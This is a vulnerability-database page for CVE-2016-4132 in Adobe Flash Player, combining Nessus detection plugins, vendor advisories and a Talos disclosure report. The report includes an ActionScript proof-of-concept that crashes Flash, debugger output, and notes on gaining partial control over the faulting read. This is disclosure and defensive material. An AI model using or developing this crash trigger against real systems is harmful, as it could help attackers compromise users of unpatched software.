Vulnerabilities > CVE-2016-4132

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
redhat
adobe
opensuse
suse
critical
nessus

Summary

Unspecified vulnerability in Adobe Flash Player 21.0.0.242 and earlier, as used in the Adobe Flash libraries in Microsoft Internet Explorer 10 and 11 and Microsoft Edge, has unknown impact and attack vectors, a different vulnerability than other CVEs listed in MS16-083.

Vulnerable Configurations

Part Description Count
OS
Redhat
6
OS
Apple
1
OS
Google
1
OS
Linux
1
OS
Microsoft
7
OS
Opensuse
2
OS
Suse
4
Application
Adobe
260

Nessus

  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_0E3DFDDE35C411E68E82002590263BF5.NASL
    descriptionAdobe reports : These updates resolve type confusion vulnerabilities that could lead to code execution (CVE-2016-4144, CVE-2016-4149). These updates resolve use-after-free vulnerabilities that could lead to code execution (CVE-2016-4142, CVE-2016-4143, CVE-2016-4145, CVE-2016-4146, CVE-2016-4147, CVE-2016-4148). These updates resolve heap buffer overflow vulnerabilities that could lead to code execution (CVE-2016-4135, CVE-2016-4136, CVE-2016-4138). These updates resolve memory corruption vulnerabilities that could lead to code execution (CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4137, CVE-2016-4141, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171). These updates resolve a vulnerability in the directory search path used to find resources that could lead to code execution (CVE-2016-4140). These updates resolve a vulnerability that could be exploited to bypass the same-origin-policy and lead to information disclosure (CVE-2016-4139).
    last seen2020-06-01
    modified2020-06-02
    plugin id91698
    published2016-06-20
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91698
    titleFreeBSD : flash -- multiple vulnerabilities (0e3dfdde-35c4-11e6-8e82-002590263bf5)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2019 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(91698);
      script_version("2.9");
      script_cvs_date("Date: 2019/07/10 16:04:13");
    
      script_cve_id("CVE-2016-4122", "CVE-2016-4123", "CVE-2016-4124", "CVE-2016-4125", "CVE-2016-4127", "CVE-2016-4128", "CVE-2016-4129", "CVE-2016-4130", "CVE-2016-4131", "CVE-2016-4132", "CVE-2016-4133", "CVE-2016-4134", "CVE-2016-4135", "CVE-2016-4136", "CVE-2016-4137", "CVE-2016-4138", "CVE-2016-4139", "CVE-2016-4140", "CVE-2016-4141", "CVE-2016-4142", "CVE-2016-4143", "CVE-2016-4144", "CVE-2016-4145", "CVE-2016-4146", "CVE-2016-4147", "CVE-2016-4148", "CVE-2016-4149", "CVE-2016-4150", "CVE-2016-4151", "CVE-2016-4152", "CVE-2016-4153", "CVE-2016-4154", "CVE-2016-4155", "CVE-2016-4156", "CVE-2016-4166", "CVE-2016-4171");
    
      script_name(english:"FreeBSD : flash -- multiple vulnerabilities (0e3dfdde-35c4-11e6-8e82-002590263bf5)");
      script_summary(english:"Checks for updated packages in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote FreeBSD host is missing one or more security-related
    updates."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Adobe reports :
    
    These updates resolve type confusion vulnerabilities that could lead
    to code execution (CVE-2016-4144, CVE-2016-4149).
    
    These updates resolve use-after-free vulnerabilities that could lead
    to code execution (CVE-2016-4142, CVE-2016-4143, CVE-2016-4145,
    CVE-2016-4146, CVE-2016-4147, CVE-2016-4148).
    
    These updates resolve heap buffer overflow vulnerabilities that could
    lead to code execution (CVE-2016-4135, CVE-2016-4136, CVE-2016-4138).
    
    These updates resolve memory corruption vulnerabilities that could
    lead to code execution (CVE-2016-4122, CVE-2016-4123, CVE-2016-4124,
    CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129,
    CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133,
    CVE-2016-4134, CVE-2016-4137, CVE-2016-4141, CVE-2016-4150,
    CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154,
    CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171).
    
    These updates resolve a vulnerability in the directory search path
    used to find resources that could lead to code execution
    (CVE-2016-4140).
    
    These updates resolve a vulnerability that could be exploited to
    bypass the same-origin-policy and lead to information disclosure
    (CVE-2016-4139)."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://helpx.adobe.com/security/products/flash-player/apsb16-18.html"
      );
      # https://vuxml.freebsd.org/freebsd/0e3dfdde-35c4-11e6-8e82-002590263bf5.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?e9fdcd77"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected packages.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:linux-c6-flashplugin");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:linux-c6_64-flashplugin");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:linux-f10-flashplugin");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2016/06/16");
      script_set_attribute(attribute:"patch_publication_date", value:"2016/06/19");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/06/20");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"linux-c6-flashplugin<11.2r202.626")) flag++;
    if (pkg_test(save_report:TRUE, pkg:"linux-c6_64-flashplugin<11.2r202.626")) flag++;
    if (pkg_test(save_report:TRUE, pkg:"linux-f10-flashplugin<11.2r202.626")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyMacOS X Local Security Checks
    NASL idMACOSX_FLASH_PLAYER_APSB16-18.NASL
    descriptionThe version of Adobe Flash Player installed on the remote Mac OS X host is equal or prior to version 21.0.0.242. It is, therefore, affected by multiple vulnerabilities : - Multiple memory corruption issues exist that allow an unauthenticated, remote attacker to cause a denial of service condition or the execution of arbitrary code. (CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4137, CVE-2016-4141, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171) - Multiple heap buffer overflow conditions exist due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit these to execute arbitrary code. (CVE-2016-4135, CVE-2016-4136, CVE-2016-4138). - An unspecified vulnerability exists that allows an unauthenticated, remote attacker to bypass the same-origin policy, resulting in the disclosure of potentially sensitive information. (CVE-2016-4139) - An unspecified flaw exists when loading certain dynamic link libraries due to using a search path that includes directories which may not be trusted or under the user
    last seen2020-06-01
    modified2020-06-02
    plugin id91671
    published2016-06-17
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91671
    titleAdobe Flash Player for Mac <= 21.0.0.242 Multiple Vulnerabilities (APSB16-18)
  • NASL familyWindows
    NASL idFLASH_PLAYER_APSB16-18.NASL
    descriptionThe version of Adobe Flash Player installed on the remote Windows host is equal or prior to version 21.0.0.242. It is, therefore, affected by multiple vulnerabilities : - Multiple memory corruption issues exist that allow an unauthenticated, remote attacker to cause a denial of service condition or the execution of arbitrary code. (CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4137, CVE-2016-4141, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171) - Multiple heap buffer overflow conditions exist due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit these to execute arbitrary code. (CVE-2016-4135, CVE-2016-4136, CVE-2016-4138). - An unspecified vulnerability exists that allows an unauthenticated, remote attacker to bypass the same-origin policy, resulting in the disclosure of potentially sensitive information. (CVE-2016-4139) - An unspecified flaw exists when loading certain dynamic link libraries due to using a search path that includes directories which may not be trusted or under the user
    last seen2020-06-01
    modified2020-06-02
    plugin id91670
    published2016-06-17
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91670
    titleAdobe Flash Player <= 21.0.0.242 Multiple Vulnerabilities (APSB16-18)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2016-743.NASL
    descriptionAdobe flash-player was updated to 11.2.202.626 to fix the following security issues : Security update to 11.2.202.626 (boo#984695) : - APSB16-18, CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4135, CVE-2016-4136, CVE-2016-4137, CVE-2016-4138, CVE-2016-4139, CVE-2016-4140, CVE-2016-4141, CVE-2016-4142, CVE-2016-4143, CVE-2016-4144, CVE-2016-4145, CVE-2016-4146, CVE-2016-4147, CVE-2016-4148, CVE-2016-4149, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171 Please see https://helpx.adobe.com/security/products/flash-player/apsb16-18.html for more information.
    last seen2020-06-05
    modified2016-06-20
    plugin id91708
    published2016-06-20
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91708
    titleopenSUSE Security Update : flash-player (openSUSE-2016-743)
  • NASL familyRed Hat Local Security Checks
    NASL idREDHAT-RHSA-2016-1238.NASL
    descriptionAn update for flash-plugin is now available for Red Hat Enterprise Linux 5 Supplementary and Red Hat Enterprise Linux 6 Supplementary. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash Player web browser plug-in. This update upgrades Flash Player to version 11.2.202.626. Security Fix(es) : * This update fixes multiple vulnerabilities in Adobe Flash Player. These vulnerabilities, detailed in the Adobe Security Bulletin listed in the References section, could allow an attacker to create a specially crafted SWF file that would cause flash-plugin to crash, execute arbitrary code, or disclose sensitive information when the victim loaded a page containing the malicious SWF content. (CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4135, CVE-2016-4136, CVE-2016-4137, CVE-2016-4138, CVE-2016-4139, CVE-2016-4140, CVE-2016-4141, CVE-2016-4142, CVE-2016-4143, CVE-2016-4144, CVE-2016-4145, CVE-2016-4146, CVE-2016-4147, CVE-2016-4148, CVE-2016-4149, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171)
    last seen2020-06-01
    modified2020-06-02
    plugin id91711
    published2016-06-20
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91711
    titleRHEL 5 / 6 : flash-plugin (RHSA-2016:1238)
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS16-083.NASL
    descriptionThe remote Windows host is missing KB3167685. It is, therefore, affected by multiple vulnerabilities : - Multiple memory corruption issues exist that allow an unauthenticated, remote attacker to cause a denial of service condition or the execution of arbitrary code. (CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4137, CVE-2016-4141, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171) - Multiple heap buffer overflow conditions exist due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit these to execute arbitrary code. (CVE-2016-4135, CVE-2016-4136, CVE-2016-4138). - An unspecified vulnerability exists that allows an unauthenticated, remote attacker to bypass the same-origin policy, resulting in the disclosure of potentially sensitive information. (CVE-2016-4139) - An unspecified flaw exists when loading certain dynamic link libraries due to using a search path that includes directories which may not be trusted or under the user
    last seen2020-06-01
    modified2020-06-02
    plugin id91672
    published2016-06-17
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91672
    titleMS16-083: Security Update for Adobe Flash Player (3167685)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2016-740.NASL
    descriptionAdobe flash-player was updated to 11.2.202.626 to fix the following security issues : Security update to 11.2.202.626 (boo#984695) : - APSB16-18, CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4135, CVE-2016-4136, CVE-2016-4137, CVE-2016-4138, CVE-2016-4139, CVE-2016-4140, CVE-2016-4141, CVE-2016-4142, CVE-2016-4143, CVE-2016-4144, CVE-2016-4145, CVE-2016-4146, CVE-2016-4147, CVE-2016-4148, CVE-2016-4149, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171 Please see https://helpx.adobe.com/security/products/flash-player/apsb16-18.html for more information.
    last seen2020-06-05
    modified2016-06-20
    plugin id91706
    published2016-06-20
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91706
    titleopenSUSE Security Update : flash-player (openSUSE-2016-740)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2016-1613-1.NASL
    descriptionAdobe flash-player was updated to 11.2.202.626 to fix the following security issues : Security update to 11.2.202.626 (boo#984695) : - APSB16-18, CVE-2016-4122, CVE-2016-4123, CVE-2016-4124, CVE-2016-4125, CVE-2016-4127, CVE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016-4132, CVE-2016-4133, CVE-2016-4134, CVE-2016-4135, CVE-2016-4136, CVE-2016-4137, CVE-2016-4138, CVE-2016-4139, CVE-2016-4140, CVE-2016-4141, CVE-2016-4142, CVE-2016-4143, CVE-2016-4144, CVE-2016-4145, CVE-2016-4146, CVE-2016-4147, CVE-2016-4148, CVE-2016-4149, CVE-2016-4150, CVE-2016-4151, CVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166, CVE-2016-4171 Please see https://helpx.adobe.com/security/products/flash-player/apsb16-18.html for more information. Note that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id93156
    published2016-08-29
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/93156
    titleSUSE SLED12 Security Update : flash-player (SUSE-SU-2016:1613-1)

Redhat

advisories
rhsa
idRHSA-2016:1238
rpms
  • flash-plugin-0:11.2.202.626-1.el5_11
  • flash-plugin-0:11.2.202.626-1.el6_8

Seebug

bulletinFamilyexploit
description### SUMMARY A potentially exploitable read access violation vulnerability exists in the a way Adobe Flash Player handles infinitely recursive calls. A specially crafted ActionScript code can cause a read access violation which can potentially be further abused. To trriger this vulnerability user interaction is required in that the user needs to visit a webpage with embedded malicious SWF file. ### TESTED VERSIONS Adobe Flash Player 21.0 (latest at the time of writing) ### PRODUCT URLs https://get.adobe.com/flashplayer/ ### DETAILS Vulnerability exists in a way Flash Player handles recursion when calling implicit functions such as "toString" or "valueOf". It is best illustrated by an example: ``` public class Test extends Sprite { public function Test() { function func7(){ try { obj_URIError0.toString ( ); } catch(e:Error){} try { obj_ByteArray8.writeDouble ( Math.PI); } catch(e:Error){} return ""; } var specObj2 = { toString:func7}; var obj_URIError0:URIError; var obj_ByteArray8:ByteArray; try { obj_URIError0 = new URIError( specObj2, null ); } catch(e:Error){} func7(); } } ``` The above code is broken down in a few steps: ``` 1. specObj2 has its toString method overloaded with func7. ..* toString() gets called implicitly when type coercion to string is required. 2. obj_URIError0 is constructed with specObj2 as first argument ..* Constructor is public function URIError(message:String = "") 3. func7() is called directly. 4. In func7() , obj_URIError0.toString() is called first, which ends up calling specObj2.toString() implicitly. ..* Since specObj2.toString() is actually func7() this would create infinite recursion and the rest of that function should never get executed. 5. After a number of recursive calls, an upper recursion limit will get hit ..* Then second line in func7() gets executed leading to a crash 6. Flash crashes when trying to dereference Math.PI. ``` Above example is using objects of type UriError, ByteArray, and Math, but other combinations are possible. Most combinations end up crashing as straight forward null pointer dereferences but Math constants are somewhat special. We can observe the following crash when Math.PI is being dereferenced: ``` eax=00000000 ebx=00002000 ecx=052d73a0 edx=07f3c240 esi=05312880 edi=000505b0 eip=05fa8589 esp=000503c8 ebp=000504e0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 05fa8589 f30f7e4050 movq xmm0,mmword ptr [eax+50h] ds:0023:00000050=???????????????? ``` Note that the crash happens in the JITed code which is generated based on the actionscript bytecode. Above crash is still a null pointer dereference but what makes it slightly more interesting is the fact that varying the constant in use gives us limited control over the offset in the JITed code. For example, using Math.SQRT2 instead of Math.PI gives: ``` eax=00000000 ebx=00002000 ecx=052b63a0 edx=07d7a240 esi=05311880 edi=000505b0 eip=05fb1577 esp=000503c8 ebp=000504e0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 05fb1577 f30f7e4060 movq xmm0,mmword ptr [eax+60h] ds:0023:00000060=???????????????? ``` So, by varying the constant, we can vary the offset in the JITed code, but unfortunately as expected, in case of Math the highest offset is with SQRT2 (0x60) which is still far too low to be of any use. Slight variations of the crashing piece of actionscript code yield slightly different results. For example: ``` try { obj_ByteArray8.writeDouble ( Math[0x41414141]); } catch(e:Error){} ``` Even though not strictly valid, the above code produces slightly more interesting assembly when JITed and crashes here: ``` 00a52a2d 8b44240c mov eax,dword ptr [esp+0Ch] 00a52a31 8bcb mov ecx,ebx 00a52a33 83e1f8 and ecx,0FFFFFFF8h 00a52a36 8b11 mov edx,dword ptr [ecx] <=== CRASH 00a52a38 8b5244 mov edx,dword ptr [edx+44h] 00a52a3b 50 push eax 00a52a3c ffd2 call edx 00a52a3e 5b pop ebx 00a52a3f c20800 ret 8 ``` Still a null pointer dereference, but this time near a call instruction and with eax fully controlled: ``` eax=41414141 ebx=00000001 ecx=00000000 edx=07ecb240 esi=05312880 edi=000505b0 eip=00a52a36 esp=000503b0 ebp=000504e0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 flash!IAEModule_IAEKernel_UnloadModule+0x1ccfa6: 00a52a36 8b11 mov edx,dword ptr [ecx] ds:0023:00000000=???????? By digging into the preceding code, we can see the following: 05fb04d8 e833c6acfa call flash!IAEModule_IAEKernel_UnloadModule+0x1f7080 (00a7cb10) [1] 05fb04dd 8bc8 mov ecx,eax 05fb04df c745c437000000 mov dword ptr [ebp-3Ch],37h 05fb04e6 8b4110 mov eax,dword ptr [ecx+10h] [2] 05fb04e9 c745c439000000 mov dword ptr [ebp-3Ch],39h 05fb04f0 b919424063 mov ecx,63404219h 05fb04f5 81f158030122 xor ecx,22010358h 05fb04fb c745c43b000000 mov dword ptr [ebp-3Ch],3Bh 05fb0502 8d4001 lea eax,[eax+1] [3] 05fb0505 83ec08 sub esp,8 05fb0508 51 push ecx 05fb0509 50 push eax [4] 05fb050a 8b8d10ffffff mov ecx,dword ptr [ebp-0F0h] 05fb0510 e80b25aafa call flash!IAEModule_IAEKernel_UnloadModule+0x1ccf90 (00a52a20) ``` We can see that NULL being dereferenced at the time of the crash comes indirectly from the first `call` above and second argument (0x41414141) is put into ecx directly and pushed to the stack. The part with the xor is just an artifact of "constant blinding" JIT spray mitigation. So, in the above code, function 00a7cb10, at [1], will return a pointer in eax, which gets read at [2] (this sets eax to NULL). Then it gets incremented at [3] and pushed to the stack at [4]. Later, in the function 00a52a20 this NULL pointer is dereferenced and the process crashes due to ReadAV. That being said, the working hypothesis is that hitting a recursion limit sets the process in an irregular state, then, since the exception is inhibited by the try/catch block, code continues with execution in this exceptional state which leads to an invalid dereference when retrieving the Math object further leading to a crash. Above examples use Math constants to demonstrate limited control over the dereference offset. It could be possible that a special object could be crafted which would allow for bigger offsets turning this into an arbitrary read access violation which could be further abused. ### TIMELINE * 2016-04-28 - Vendor Disclosure * 2016-06-14 - Public Release
idSSV:96760
last seen2017-11-19
modified2017-10-20
published2017-10-20
reporterRoot
titleAdobe Flash Player Infinite Recursion Arbitrary Read Access Violation(CVE-2016-4132)

Talos

idTALOS-2016-0165
last seen2019-05-29
published2016-06-14
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0165
titleAdobe Flash Player Infinite Recursion Arbitrary Read Access Violation